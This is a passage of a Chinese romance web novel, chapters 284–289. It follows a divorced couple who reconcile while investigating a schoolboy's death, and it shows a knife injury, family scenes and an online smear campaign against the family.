“你怎么会这么想?”盛熙川诧异,扳过她的头面向自己。
“端正你的态度,宋清殊。”
盛熙川正色,认真凝视着她的眼睛:“我才是那个坏人,你在国外过了8年那样痛苦的日子,刚回国半年,又被我逼得背井离乡。
是我让你受了那么多身体和心灵的伤害,让你不得不一个人去花都偷偷生下孩子,过了四年苦日子。”
明明已经过去了那么久,可直到现在说起来,那种痛彻心扉的感觉还在,盛熙川的心口一阵阵发麻。
他做错了太多事,包括后来再见到她,那段不得章法的追求,都是对她的打扰。
现在,他什么都不敢奢求,只求有一个对她好的机会。
“宋清殊,你怎么对我都不为过,找我要什么都可以,包括我的命。”
第284章 依靠
这段表白来的猝不及防。
明明是在黑夜里,盛熙川的眸子明亮又滚烫。
他看到哪里,哪里就溅起火星。
异样的情绪蔓延再蔓延,宋清殊的胸腔里灌满蝉鸣,聒噪得几乎吓到自己。
她这次没有别开眼。
两人的目光有一瞬间胶着,纠缠,又很快恢复了平静的暖意。
宋清殊心里有很多话,她想说,她刚回国的那半年是快乐的,第一次真正体会到了恋爱的感觉,哪怕后面闹得那样难看,也并没有因此后悔过。
她还想说,自己在花都的那四年并不觉得苦,她做了母亲,彻底打开了心轮,学会了去爱。
虽然她的婚姻不完美,过程中也有很多值得痛苦的事,但她从来没有后悔过。
可她在亲密关系中,似乎被捂了嘴,永远没办法顺畅表达,永远词不达意。
她的眼睛说了千言万语,嘴上却什么都没说。
她短暂地把头靠上他的肩,几秒钟的时间,又挪开。
“我回去睡觉了,明天见。”
她说着,利落开门下车。
盛熙川目送宋清殊走进单元楼的安全门,他的肩背还维持着刚才的姿势,一动不动。
一直到宋清殊的身影消失不见,盛熙川伸手,在他的肩上摘下一根乌黑的长发。
他将那根长发收进自己的钱包里,心软得不成样子。
当晚,不出意外,两人都失眠了。
第二天一早,他们去了曹小康母亲的裁缝店。
考虑到她是个聋哑人,盛熙川还带了一个手语翻译。
他们起初没有直接进去,而是站在不远处观察里面的情况。
裁缝店的玻璃门关闭着,外面挂着一张用纸板写的“暂停营业”的牌子。
隔着透明玻璃,依稀能看出里面有一个女人的身影,想必那就是曹小康的母亲张春玲了。
再走近一点,宋清殊看清了她的模样。
那是一个平凡而困苦的女人,虽然自己开裁缝店,穿的却并不体面,一身洗得发白的粗布衣裳,头发乱而干枯,额上有深深的抬头纹,一双眼睛肿着,毫无神采。
她看上去比陆夫人至少老10岁。
陆夫人生陆展的时候已经快40岁,如今已经年过半百,这个叫张春玲的女人,一定不比她大。
是生活太苦,磋磨了她。
如今,她一个人在狭窄的店里枯坐着,双目无神地看着玻璃门外,像是在等她永远不会回来的儿子。
宋清殊的心酸的厉害。
她过去看过一段话,那些被霸凌的孩子,都是被精心选择过的。
霸凌者千挑万选,在无数正常的孩子中,挑出那个即使消失了也不会怎么样的。
想必被当枪使的孩子也是一样。
他在这个世界上不仅没有依靠,还有一个最明显的软肋,只要捏住这根软肋,就能指使他做任何事,哪怕去死。
张春玲就是曹小康的软肋。
这件事越发明晰了,宋清殊的心底涌起寒意。
“我们进去跟她聊聊。”她说。
盛熙川点头,先过去敲门。
张春玲听不见,却发现了他们。
她在里面打手势,又指了指“暂停营业”的那个牌子。
宋清殊也让手语翻译打手势给她。
“我们不是客人,想跟您聊聊您孩子的事。”
张春玲明显顿了一顿,过来给他们开门。
两天了,她的眼睛已经流不出泪来,过来开门的动作迟钝又麻木,仿佛一具行尸走肉。
她把门打开一道缝,让三个人侧身进去。
之后,又麻木地坐在她的缝纫机前。
裁缝店只有书报亭大小,三人几乎坐不下。
他们站着。
宋清殊让手语翻译向张春玲替她做自我介绍。
“我是陆展的姐姐,今天想跟您沟通一下两个孩子冲突的具体情况。”
没想到这句话直接让张春玲发了狂。
她麻木空洞的眼睛一瞬间变得猩红,突然一跃而起,对着宋清殊手臂一挥。
盛熙川最先反应过来,把她往自己的方向一扯,又把宋清殊一推。
张春玲手心里攥了一个u型线头剪,拉扯间直接对着盛熙川的手掌划下去。
细密的血珠顺着手心滚落下来,直接滴落到地板上。
一时间,空气都凝固下来。张春玲也如同丧尸回魂,获得短暂的冷静。
她眼里的仇恨再次被无错覆盖,张着嘴,“啊啊啊”地发着气声。
宋清殊顾不上她,先过去看盛熙川的手。
刚才那一下用了寸劲儿,盛熙川的手掌上有一道深深的口子,皮肉都有点翻开来。
“我们先去医院打破伤风。”她找了几张纸巾迅速按住盛熙川的伤口,什么也顾不得问了,拉着他就要往外走。
盛熙川也怕宋清殊一个人留在这里不安全,任凭她带着自己一路出来,上了车。
那位手语翻译,也只能工作暂停,先行回去。
“今天的薪水照付,你等我安排。”盛熙川临上车前说。
宋清殊开车,盛熙川坐副驾。
看她紧绷的脸色,他在旁边直笑。
“你担心我啊?”
宋清殊想说不是,却怎么也开不了口。
她从喉咙里“嗯”了一声。
说不紧张是自欺欺人,刚才看见他流血的那一刻,她的心脏像被一只手攥紧,透不过气来。
盛熙川低头看自己的手心,纸巾已经染透了。
他看,宋清殊也看。
注意到宋清殊的目光,他迅速将受伤的右手藏到一边,左手把她的头转过去目视前方。
“专心开车。”他说,声音里带点笑意。
“你怎么还笑得出来,真是的。”宋清殊嗔道,语气里是自己都不曾察觉的心疼。
盛熙川:“我怎么笑不出来,又不是什么严重的伤。”
他的第一反应:幸好伤的不是她。
每一次能保护她,都让他觉得高兴。
像赎罪,用身体的不舒适,来抵消心灵的不安。
宋清殊撅嘴,没再理他。
但她把车开得飞快,连闯了两个红灯都浑然不觉。
路上,有一辆车突然变道,挡在了她的车前。
第285章 可以用左手
那辆加塞的车非常不礼貌且没素质,几乎是贴着盛熙川的车过来的,之后在红绿灯口停在了他们前面。
宋清殊猛踩了一脚刹车。
好在盛熙川的车性能过硬,刹车也足够好用,不然真的会追尾。
信号灯变绿了有半分钟,那辆车依然没什么动静,在宋清殊狂按了两声喇叭后,才像蜗牛一样慢吞吞启动,压着他们的车,以二十几迈往前开。
宋清殊心里着急,降下车窗对外大喊:“你会不会开车?驾照是偷来的吗?”
她向来情绪稳定,喜怒不形于色,头一次发这样大的脾气。
盛熙川心里一动,手心都不觉得疼了。
他不动声色地勾了一下唇角。
见宋清殊脾气这么大,那辆车里的人也探出头来,对着她露出几分猖狂的笑脸:“有本事你撞上来呀,我正愁月底了,不知去哪儿搞点钱。”
盛熙川马上明白了怎么回事。
他这辆车的膜并不深,这个人一定是隔着玻璃,看到了宋清殊的脸。
他看宋清殊油门踩得重,知道她有急事,故意要把车开到她前面去挡路,等着她撞上来。
开豪车的女司机,多么好的敲诈对象。
盛熙川伸手握住她一只手。
“冷静,不要跟这种人吵架。我们再换条路。”他说。
宋清殊担心盛熙川的伤,也不想跟这种人计较,她点头深呼吸,之后,打了右转向,换了条车道开。
那辆车却不依不饶,跟着就要便道。
宋清殊紧盯着前面的路况,根本没注意盛熙川在刚才她跟在那人起冲突的一瞬间就掏出了手机。
此时,那辆车还没变过来,被一黑一白两辆车结结实实夹在了中间。
一时间,刹车声喇叭声响成一片,而宋清殊已经突破重围,把那辆车甩在了后面。
“是你的人吗?”宋清殊问他。
盛熙川点了下头,笑道:“确切说,是你的人。”
“他们在保护我?”
盛熙川点头:“我看廖绮还在蠢蠢欲动,怕出事儿。”
宋清殊想说,一个不到20岁的孩子而已,还能把她怎么样,可她不想辜负盛熙川的一番好意,硬生生把想说的话憋了回去。
到了医院,盛熙川手心的伤已经不流血了。
因为前阵子救助猪猪时打过破伤风,还在效期内,这次破伤风也免了。
医生替他处理伤口。
宋清殊惊魂甫定,这才发现,那条伤口足足有五六公分长,占了半个手掌,很深,目测超过了一毫米。
医生将皮肉翻过来清创,用碘伏消毒时,盛熙川眉目淡淡地看着,没什么反应,倒是宋清殊先吸了一口凉气。
“别看。”他左手伸过来,遮住她的眼睛。
“伤口有点深,还是要几缝针,有利于愈合。”医生说。
盛熙川自然是没什么意见。
等一切处理完,医生交代注意事项。
“一周内不要吃辣,不要吃海鲜,牛羊肉等发物也要避免,以防伤口增生。”
盛熙川还没开口,医生又笑道:“不过你也不用记这么清楚,让你太太记住就好了,做饭的时候不要做这些。”
宋清殊:“……”
她知道医生误会了,还没来得及辩解,只听盛熙川一本正经道:“还是需要我来记,因为我们家是我做饭。”
医生了然地点头:“也是,现在好多都是男人做饭,过去是要想抓住男人的心,先要抓住男人的胃。
现在反过来,要想抓住老婆的心,先要抓住老婆的胃。”
又说,“不过,你手都这样了,还是停两天让太太做吧。”
盛熙川被医生的一番话说的心花怒放,只觉得自己这个伤受得太值了。
“您说得太对了,您医术高明,生活阅历也足,一看就是个全面发展的好医生。”他称赞。
当即看了一眼挂着诊室门口的姓名,决定回去做面锦旗送来。
两人氛围融洽,交流友好,宋清殊愣是没找到话口儿解释。
算了算了,又不是不澄清地球就爆炸了。
伤口处理完拿了药,医生又认真给宋清殊讲了护理的注意事项。
在医生眼里,这是再正常不过的事:毕竟盛熙川伤的是右手,总不能让他自己换药吧?
宋清殊不敢矫情,一一记下。
一直到两人离开,盛熙川才笑道:“果然,出门在外身份是自己给的。”
宋清殊睨他一眼:“伤得那么严重,还笑得出来!”
她有点恼火。
盛熙川挑眉:“你没给的名分,医生给了,这伤受得值。”
这话宋清殊憋了太久,她终于找到了机会说。
“盛熙川,你也该端正态度。”她认真看他。
氛围一下变得严肃起来,盛熙川的脸色也有一瞬间紧绷。
“抱歉……”他不该图一时口舌之快,顺着医生的话说。
后面的话还没说出口,只听宋清殊道:“你根本没有把我当成一个独立的,有行为能力的人。”
盛熙川想喊冤,宋清殊却没给他这个机会。
“你如果信得过我,就不该在遇到一切危险时把我挡在身后。如果你有应对危险的能力,那我也可以。”宋清殊说。
“我也并不需要你靠受伤的方式来弥补什么。你每次为了我承受肉体痛苦,我的良心会不安,一样难受。”
这番话她酝酿过很长时间,如今说出来,整个人都松了口气。
盛熙川抿唇,听他说完。
他没有替自己辩解,而是说:“这些事的确是我做得欠考虑。”
以后他至少该做的隐秘一点,不要让她觉得不安。
他神情真挚,认错态度良好,宋清殊的心倏地软了。
此时已经是中午,她转移话题。
“我们找个地方吃点饭好不好?”
盛熙川当然没话说。
两人找了一家相对清淡的广府菜。
吃饭时,盛熙川包成粽子的右手很不方便。
不好回弯是一方面,伤口在手心,握拳的时候会疼。
宋清殊看出了他的异样,问道:“右手吃饭是不是很疼?”
盛熙川以为她接下来会说,要不我喂你。
谁知,宋清殊说:“你试试左手行不行?”
盛熙川:“……”
他一时间又想笑又生气,气宋清殊不解风情,又气自己想太多。
第286章 练习筷
盛熙川不好发作,当着宋清殊的面,乖乖把筷子换到了左手。
他是右利手,左手拿筷子非常不方便。
能勉强吃进嘴里,但姿势怪异,有点滑稽。
宋清殊道德和笑点打架,只能低头调震动模式。
盛熙川睨她:“想笑就笑出来。”
宋清殊猛猛摇头:“不,我绝不是这样不知感恩的人。”
但她憋得脸都红了,倒惹得盛熙川先“噗”地一声笑了。
盛熙川吃饭,宋清殊却不好好吃,掏出手机不知在查什么,随后站起身来。
“你做什么?”盛熙川问她。
“别管,等我一下,10分钟后回来。”
她把盛熙川丢在餐厅,自己出去了。盛熙川放下筷子等她。
果然不出10分钟,宋清殊回来,拿了个东西往桌上一放。
“这是什么?”盛熙川问。
面前摆着一个绘有卡通图案的小盒子,还印着某某孕婴馆的字样。
宋清殊:“打开看看。”
盛熙川狐疑,打开后,看到了一双儿童练习筷。
他没有育儿经验,知道这筷子还是珍珠第一次去家里吃饭,保姆准备的。
“你拿我当珍珠是吧?”他哭笑不得,心情却好的要命。
试问这世上,哪里有比被喜欢的女人当孩子还疼更让人开心的事呢。
宋清殊:“错,珍珠超过两岁后就没用过这种筷子了。”
盛熙川:“……”
宋清殊用开水将筷子烫了一下,递到他的左手:“喏,你第一次用左手吃饭,用练习筷也是应该的。不用不好意思。”
盛熙川失笑:“所以,不仅要让我用练习筷,还要把我当孩子哄是吧?”
宋清殊:“……知足吧,你女儿都没享受过这个待遇。”
盛熙川莫名觉得宋清殊管珍珠叫“你女儿”,这事儿很有趣,有种……老夫老妻的感觉。
“那我女儿是什么待遇?”
宋清殊:“你女儿太特殊了,因为没有宝宝语言的阶段,我都下意识拿她当大人。”
所以珍珠吵着要爸爸的时候,她才会那么生气,觉得珍珠不理解她。
可她明明只有三岁,这样做是非常正常的。
“你什么时候开始发现珍珠是个天才的?”盛熙川用练习筷夹了一口菜,意外得顺畅。
宋清殊想了想:“最早没有往这方面想,但那时候就已经知道珍珠跟普通小朋友不一样了。
她没有牙牙学语的阶段,刚会说话就不像别的宝宝一样说叠词,而是像正常的大人一样口齿清楚,字正腔圆。
后来看她画人,不画五官和穿着,画血管和内脏。
看到那幅画,我当时吓得都要做噩梦了,只能带她去做了测试。”
说完,她自己都忍俊不禁。
“当时怀疑她精神有问题来着,没想到是个天才。”
盛熙川放下筷子,专注地看宋清殊,好像在听别人的故事。
他恨死了之前的自己。
错过了女儿前三岁的黄金时间,已经悔恨得想死,而他还差点让他的宝贝女儿不能来到这个世间。
心里涌起无尽伤感,盛熙川极力调整,也跟着宋清殊笑。
“一个人把她带大,真的很辛苦吧。”
宋清殊摇头:“珍珠能听懂大人的话,很小的时候沟通就没什么障碍,又有保姆在,所以并没有那么难带。
我受过唯一的苦大概就是生她,她太胖了,在最后关头不得不选择了剖腹产。”
她说这些话的时候,就像一个乐于跟别人分享孩子的宝妈。丝毫没有诉苦的意思,不仅如此,还带着几分甜蜜。
可盛熙川的心像被钝器捶打,又闷又疼。
她本该是个被捧在手心里的人,怎么能受这种苦!
等他们再复婚在一起,也一定不能让她再生孩子了。
盛熙川思绪飘远又迅速拉回。
“我错过了这么多,真的很……”
“打住!”宋清殊瞪他,“跟你说这些是为了让你更了解珍珠,不是在找你诉苦!我不觉得苦,如果能选择回到四年前,我还是愿意怀孕,生下珍珠。”
盛熙川心里百转千回。
他想问,你不后悔生下珍珠,那后悔嫁给我吗?
又觉得这个问题卑微又好笑。
怎么会介意,毕竟没有他也没有珍珠。
是他自己心虚,才纠结这个蠢问题。
两人一顿饭聊了特别多,虽然明显磕磕绊绊,但看得出来都在努力找话题。
盛熙川听到了很多珍珠的成长趣事,宋清殊在花都的生活经历,越发觉得自己这个伤受的值。
但有一点美中不足,他表现得太明显,让宋清殊产生心理负担了。
她这样敏感细腻的人,原本就更容易多想。
以后,他还是尽可能春风化雨,不着痕迹。
吃完饭,回到车里,宋清殊问:“我送你回去休息吧?”
盛熙川:“这么点小伤,至于的?”
宋清殊认真:“还挺严重的,希望你快点恢复,不然我心里过意不去。”
盛熙川想说,过意不去的话替我换药吧,又觉得宋清殊说不定会觉得他挟恩图报,刚帮了点小忙,就拿着鸡毛当令箭,转头想占便宜。
谁知宋清殊直接说:“你明天是要来看珍珠吧?那我给你换药。”
盛熙川心中响起轻快旋律,他按捺住,怕自己得意忘形。
两人下午还是分开了,最主要的是,他们一致觉得当天再回去找张春玲不是明智之举。
看守所那边有盛熙川,陆展倒是也吃不了苦头。
只是这件事,“翻案”需要的时间太长,不是一朝一夕的。
下午,宋清殊也没回公司,而是在家休息。
“爸爸是不是出什么事了?”珍珠凑过来问她。
“啊?你怎么会这么问?”宋清殊反问,以为她听说了什么。
“早上的时候,我好像有一瞬间看到了爸爸手在流血。”珍珠说,“不确定,一闪而过的画面。”
起鸡皮疙瘩的感觉又来了,宋清殊环抱自己的双臂。
“你在开玩笑吧?是不是爸爸告诉你什么了?”她问。
珍珠顿时了然:“看来是真的了。”
她虽然嘴上这样说,却并没有表现出过多的担心。
宋清殊奇怪:“你不担心吗?”
珍珠摇头:“担心没用啊,手流血又不会死人,针对问题解决问题就好了,受了伤应该会去医院吧?”
……差点忘了她是个客体分离的高手。
于是宋清殊跟珍珠说了具体情况。
珍珠点头:“这是上天又在给你们两个创造增进感情的机会,就像前几天你发烧一样。”
第287章 舆论
宋清殊讲起盛熙川受伤时的场景都心有余悸,没想到珍珠反应这样平静。
她好一会儿才说:“宝宝,你冷静得让妈妈害怕。”
珍珠骄傲地抬了抬下巴:“虽然我看偶像剧,但我是个理智的人。”
宋清殊:“……”
她说不上来珍珠这样是好还是不好,谁都希望有一个又聪明又理智的孩子,可在这种时候,又总觉得她的理智太多,情感太少了些。
宋清殊又跟珍珠聊了两句,准备回屋睡个午觉恢复一下精神。
结果她人还没到屋内,就听珍珠那边说:“爸爸,你怎么样?不严重吧?刚才妈妈跟我说的时候可担心坏了!”
……倒也没有吧。
“嗯,我也说的是,又没什么生命危险,让妈妈不用担心。”
“对了,你有没有把握这次机会,让妈妈喂你吃饭啊,毕竟伤的是右手呢!”
宋清殊从卧室里退出来,走回客厅,看珍珠的眼神哭笑不得:“宝宝,教你爸爸点好。”
原来,珍珠不是不担心,而是怕自己太过担心的反应,让她更难受。
这个孩子理智成这样子,那当时哭着喊“要爸爸妈妈在一起”,应该也不是出于情感,而是策略吧。
宋清殊只觉得无语。
她正直又老实,一生只会打直球,怎么生了这么个不拘小节,不择的手段的鬼精灵女儿?
这么看,还是盛熙川的基因太强大了。
回到房间,宋清殊躺下后,又微信跟陆夫人说了一下情况,要她不必太过担心。
昨天会见陆展时得到的那些消息,她在昨天晚上就已经说了。
陆夫人一听盛熙川受伤,尤其过意不去。
“我去给熙川送点补品,实在是多亏了他。”陆夫人说。
宋清殊说:“您这几天心力交瘁,先照顾好自己,以后来日方长,相处的机会多得是。”
她这话没有别的意思,说的是客观事实,听在陆夫人耳内,倒是不一样了。
陆夫人强笑道:“好,毕竟是自己人,太客气了,也见外。”
宋清殊:“……”
她觉得,除了她自己,现在全世界都觉得她跟盛熙川复合了。
特别是两人的头号Cp粉珍珠小朋友,时刻在耳边提醒着,再不复合怕是都说不过去了。
她也知道两人一直这个样子也不是办法,又实在下不了决心。
宋清殊觉得,等陆展这件事解决了,她也的确该往前走一步了。
算上前天晚上在陆夫人那里,宋清殊已经整整两夜没睡过好觉了。
她靠着枕头迷迷糊糊睡着,睡得依然不踏实,梦里都是陆展通红的眼睛。
在问她“姐姐,你是不是对我很失望?”
再醒来,也不过才下午4点。
她是被莫兰溪的电话吵醒的。
“展展出事了?网上说的是真的吗?”莫兰溪问。
宋清殊惊得一个鲤鱼打挺,坐起来,声音还带着刚醒的沙哑:“网上怎么说?”
她太阳穴发疼,伸手揉了揉。
只听莫兰溪说:“倒没直接说是展展,在网上爆料说,一个富家子弟陆某殴打单亲家庭的同学,导致同学含恨自杀。
网上说的那个受害者特别可怜,单亲家庭,母亲是聋哑人,开一个裁缝店养他。
还说这个陆某家里特别有权势,干姐姐是上京的风云人物,前姐夫更是不一般,就差念你身份证号了。
难怪,昨天我跟表姑打电话的时候她那么低沉。”
宋清殊沉默了一瞬。
事关未成年人,又有盛熙川作保,这件事警方和校方不会发。
曹小康的母亲张春玲悲痛欲绝,看上去不像有心思煽动舆论的。
那么,不是陆二叔和陈南枝,就是季家。
莫兰溪又说:“这一定是有什么误会,展展不像是能做出这种事的人。”
电话挂断,宋清殊自己去看新闻,短短时间,现在热搜第一名已经是【北京实验中学校园霸凌】,第四名是【天龙人陆某】,另外还有几个热搜,也都是针对校园霸凌,和他们这种所谓“特权阶级”的。
事情越发复杂了起来,原本是两个孩子的打架斗殴,如今却演变成了阶级的不对等。
上网的大多数都是普通人,又都是“我弱我有理”的推崇践行者,自然都站在曹小康一方。
点进第一个热搜,所谓对未成年人的保护一点都没有,只不过把“陆展”二字,换成了“陆某”。
详细介绍了他背后有个上市公司,有个非常“牛”的靠婚姻改变命运,哪怕离婚了还能让前夫鞍前马后的干姐姐。
干姐姐的前夫不仅有钱,还有政界势力,前阵子刚因为表白上过热搜。
评论区里,都在打宋清殊和盛熙川的名字,扒她和陆家的关系,讨论这件事会是什么走向。
没有一个人给替陆展说话,倒是有几个宋清殊的“铁粉”,站出来说祸不及家人,毕竟宋清殊也只是个干姐姐。
但这几个铁粉,马上被人围攻,说收了她的钱,吃“曹某某”的人血馒头。
表面上是在骂陆展,实际上,这件事就演变成了一场“弱者”对“强者”的霸凌,普通民众的狂欢。
所有人都在憋着劲儿,等陆氏倒霉,等宋清殊和盛熙川倒霉。
再往下刷,后面已经开始有人评价起她的私生活来。
【她长得清纯,实际上就是个绿茶婊,你见哪个好女人离婚后还跟前夫纠缠不清的?】
甚嚣尘上的评论,简直是一次大型的人口素质普查。网民太容易被煽动,作恶而不自知。
宋清殊享受过互联网带来的红利,也被骂到不敢出门过,她自身早已看淡。
但她知道,这件事势必会影响陆氏和盛世集团的股价。
陆氏受影响是意料之中,对盛熙川来说,简直是无妄之灾了。
醒来后的整整一个小时,宋清殊一直在刷微博和抖音,热搜始终居高不下,已经逼得陆氏的官方号关了评论区。
宋清殊登了官方号去看,马上被铺天盖地的私信淹没。
如果那些辱骂的话能成真,宋清殊觉得,她至少要在18层地狱里待一亿年。
第288章 对策
宋清殊盯着网上那些言论,迅速分析着对手的目的。
如果是季家做的,相对好说一些,他们无非是要季卿回来。
但以她和季春望打过这几次交道来看,他不会那么鲁莽,至少做之前会给她打个预防针。
毕竟,季家跟陆氏并没有生意上的冲突,仅有的矛盾只是季卿。
这件事更大的可能是陆二叔和陈南枝做的。
眼下,陆二叔屡次打击不到陆氏,已经有点狗急跳墙的意思,不得不从陆展下手。
虽然影响的是整个陆家,但对于陆二叔这种负债大过财产的人,债多了不愁虱子多了不痒,倒没什么可怕的。
更何况,这件事如果想澄清,说不定还要涉及到陆枭。
那陆枭是陆家“私生子”这件事,也就放到了明面上。
陆氏的财产再怎么缩水也有陆枭的一份,里外里他都是赚的。
这件事之所以做得痕迹这样重,无非就是等着陆夫人慌不择路,去澄清。
到时候陆枭再站出来替陆展说几句话,陆夫人也不得不咬咬牙,把这个天上飞下来的儿子认了。
想得美!
宋清殊一个小时内脑子飞速运转,基本上理清了事实。
一定是这样,只可怜了曹小康,被这帮恶人选中,这样枉死。
他一定是被人用他那个可怜的母亲威胁,才不得已这样做。
就连他的死,都有可能是实在忍受不了良心的谴责。或者干脆不是自杀,是谋杀。
宋清殊觉得她的逻辑还算缜密,应该就是这么回事。
她拿出一张纸,把要做的事一一写上,之后拉了一个群。
群里三个人,她,陆夫人和盛熙川。
她刚在群里发了一句话:
【热搜都看了吧?】
盛熙川马上回:【有我呢,别担心也别轻举妄动。】
陆夫人回了个【嗯】
没有表情也看不出情绪,但宋清殊硬是脑补出了她心力交瘁的样子,只剩心疼。
宋清殊引用了盛熙川的话,说:【我也是这个意思,我们一定不能轻举妄动,着了坏人的道】
她@陆夫人。
【干妈,先别慌,也别急着澄清。用官方号发个公告出去,就说一周内一定给一个满意的答复,但对所有造谣者,和煽动舆论者保留起诉的权利。
实在不行,找几个出头鸟,先告了再说。】
陆夫人原本万念俱灰,看宋清殊这样冷静地指挥,顿时来了精神。
她回了个【收到】。
宋清殊又@盛熙川,说:【有件事,要拜托你。
张春玲拒绝沟通,我建议直接让警方问,派一个你的人在场。
重点是要告诉她,这是一个阴谋,曹小康是为了保护她而死,一定要查明真相。
这不只是为了展展的清白,也是为了曹小康的在天之灵。】
盛熙川也回【收到】。
好像宋清殊是两人的长官,他和陆夫人,是她最得力的下属。
不过,有一说一,宋清殊的确是陆夫人的主心骨。
自从陆先生去世后,陆夫人只有看见宋清殊才觉得踏实,有她在,天就不会塌。
她年轻时种下的善因,结出了这样一颗好果。
宋清殊的存在让陆夫人觉得,哪怕她把一多半的家业给宋清殊,少部分留给陆展,都心甘情愿。
【至于我,今天会先去找一趟季春望,明天上午会再去趟学校,让校方配合我,揪出那个撺掇曹小康去找展展麻烦的人】宋清殊说。
盛熙川:【我跟你一起。】
宋清殊想了一下,回他:【季家我一个人去就好,你明天来找我换药,换完药我们一起去学校。】
盛熙川回了个好。
陆夫人也@了盛熙川,打了段语音,听上去满是歉意:【展展的事给你添麻烦了。】
盛熙川自然让她不要见外。
三个人都是有执行力的,当天晚上,陆氏的各个公众号和宣传平台,都按照宋清殊所说的发了声明。
不仅如此,还附带了这些年陆展给贫困山区捐款的截图。
还有两个新账号实名认证后在网上力挺陆展,那两个号,居然都是在校大学生。
他们以动人的笔触,讲述了自己和陆展的初识,以及,陆展和陆家对自己的资助。
甚至一个晒出了手写信和微信聊天截图,另一个,直接举着自己的身份证拍了张照片,愿意对自己说的一切负法律责任。
陆展跟两人的聊天里,毫无纨绔子弟的傲气,一直客客气气。
【哥哥不客气,希望哥哥好好学习,将来有能力了也帮助更多的人】
【恭喜哥哥拿到学校奖学金,但今年的学费还是要照付,你的奖学金可以拿去给家人买点礼物】
他甚至安慰那位大学生:【反正我零花钱也很多,哥哥不要有心理负担】
宋清殊看得眼睛都湿润了。
她并不是有亲情滤镜,她的干弟弟,干妈教育出来的好孩子,值得她的信任。
一时间,从一边倒的谩骂,又开始有了一部分网民进入“我方阵营”。
【虽然校园霸凌零容忍,但我愿意相信这样一个孩子做不出那种事】
【我觉得还是让子弹飞一会儿吧,大家忘了当年全民骂宋清殊的时候了】
……
这件事更加坚定了宋清殊的决心。
绝不姑息,也绝不让陆二叔等人得逞。
晚上,宋清殊约了季春望。
两人在季家附近一个茶馆见面。
季春望早有准备,比起之前唯唯诺诺的样子,这次腰杆都硬了。
“宋小姐来找我,该不会觉得网上的言论是我发的吧?”他明知故问。
宋清殊:“不是,季先生不会那么蠢。”
季春望倏的笑了:“要说蠢吧,也不太蠢,毕竟沈氏的股价都受到了影响,说明还是有用的。”
宋清殊微微挑眉:“我以为你是聪明人,看事情会看全局,而不是一时得失。”
季春望被她说的一噎。
他还没说话,宋清殊又笑道:“难不成这么点小事会让陆氏和盛家一蹶不振吗?”
她特地带上盛家。
“我之所以觉得不是您做的,就是因为觉得您不会那么蠢,骂陆家也就罢了,还要带上盛熙川。”
季春望磕巴了一下:“当……那当然。”
第289章 彼此的打开方式
季春望准备了一肚子开场白,却被宋清殊抢先,好话赖话都让她一个人说了。
季春望越想越觉得她狡猾又难缠。
季卿也真是的,好好的,得罪谁不行?惹她做什么!
索性,季春望也不说了,等宋清殊说。
宋清殊却又开始笑着给他找台阶。
“我之所以这么说,最主要的一点是因为,昨天您明明看见了我和熙川在看守所,但网上只字未提。我就知道这件事不是您做的,您也不是落井下石的人。”
这还像句人话,季春望脸色又好看了一点。
“季先生,我和季卿也没什么深仇大恨,您在我弟弟的事情上不落井下石,我很感激,我和季卿的恩怨就一笔勾销了。您把人接回来吧。”
宋清殊喝光杯中茶,站起身来。
“感谢侄女体谅,主要是老爷子年纪大了,看不见孙女,也实在想……”季春望就坡下馿,笑着起身送她。
这件事就这么定下了。
宋清殊不是非退让不可,可她不想让季家为这件事的干扰项。
她要下力气还陆展清白,以及把陆氏的损失到最低。
到这个时候,陆展已经在看守所拘禁超过48小时。
宋清殊刚从茶馆出来,便在群里看到了陆夫人发的消息:【展展已经回家了,但会随时接受调查】
宋清殊回:【让展展好好休息,别多想,有我呢】
消息还没发出去,她看到了盛熙川的消息。
他@了陆夫人:【让展展好好休息,凡事有我】
说不出心里什么感受,一股暖流涌入,宋清殊把自己打的字一点点删除,也回了一个【好好休息】。
自己家人被放在心上的感觉,真的很好。
不管怎么说,陆展能出来,宋清殊就已经松了口气。
她之前太慌乱,才有那种牵着鼻子走的感觉,如今理清了头绪,她竟然轻松下来。
有什么呢?损失的名誉可以找回来,钱缩水了可以再赚,家人平安,就是最好的。
有她在,陆二叔和陈南枝谁也别想得逞,她绝不会允许伤害陆夫人和陆展的事发生。
彼此又聊了几句,显然陆夫人跟她想的差不多,也明显轻松不少。
刚到车里,盛熙川的电话打过来,宋清殊开了车载蓝牙接。
“怎么样?季春望没有为难你吧?”他问。
宋清殊笑:“他趁火打劫,只占便宜不吃亏,有什么好为难我的?”
盛熙川沉默片刻感慨:“白让他捡了这么多便宜。”
宋清殊:“其实让不让季卿回来两可,我只是不想让季家成为一个干扰项。”
盛熙川道:“那倒是,主要是季卿一个人在国外,季家的势力都在国内,除了让她情感上难受,也没有什么惩戒的目的。”
宋清殊想说情感上难受已经够了,但人是她赶出去的,也是她松口让回来的,说这些没什么意义。
她选择了沉默。
盛熙川显然也听出了她不想就这个话题多聊,丝滑地转移了话题。
“有件事一直没告诉你,我在丹峰公馆也有房子,准备明天过去住,离得太近,会让你觉得不舒服吗?”
这话宋清殊要转好几个弯,才能理清楚说什么。
丹峰公馆是她所在的小区名字。
“离得多近,不会跟兰溪一样,跟我上下楼吧?”
盛熙川“嗯”了一声。
宋清殊:“……”
难怪明明有安全门,他依然能来去自如,合着也是业主。
她沉默了两三分钟,以至于盛熙川都有点慌,在反思自己最近是不是得了几分好脸色开始得寸进尺了。
“如果不方便……”
“你该不会是……”
两人又同时开口。
“你先说。”盛熙川说。
“你该不会是知道我住这里后又买的吧?”
盛熙川又“嗯”了一声,不仅如此,为了让她楼上邻居转让,他还花了高价。
盛熙川自己也尴尬。
“那时候头脑发热,只想着让你回来,就不太讲究方式方法。”他有些不好意思。
极度的坦诚拥有无坚不摧的力量,宋清殊心软。
“你是准备过来长住吗?”她问。
“应该会两边跑。”
宋清殊“嗯”了一声,又问:“需要帮你搬家吗?”
那边愣了一下:“你不介意?”
语气竟然有点惊喜。
这话问的,什么时候住自己的房子都要别人允许了?
“你只是我邻居,又不是要住进我家。”她玩笑,语气轻松。
盛熙川那边也笑了。
“东西都是现成的,我明天过去就行。就是怕哪天突然在电梯遇见,你会觉得反感。”
“不会。”宋清殊说,“你这样尊重我,我很高兴。”
两人又聊了几句,一直到宋清殊安全到家。
“明天不是来换药,你直接在家里吃早饭吧。”宋清殊邀请他。
盛熙川低笑:“好,那我需要带练习筷吗?”
宋清殊跟着笑:“不用,你用你女儿的,她现在是大孩子,已经不需要了。”
她回国时是五年前的夏天,如今五年过去了,两人终于摸清楚了彼此的打开方式,能像朋友一样相处交流。
他们都很珍惜。
彼此说了晚安,这一晚,宋清殊终于能放下心里的千斤重担,睡了个好觉。
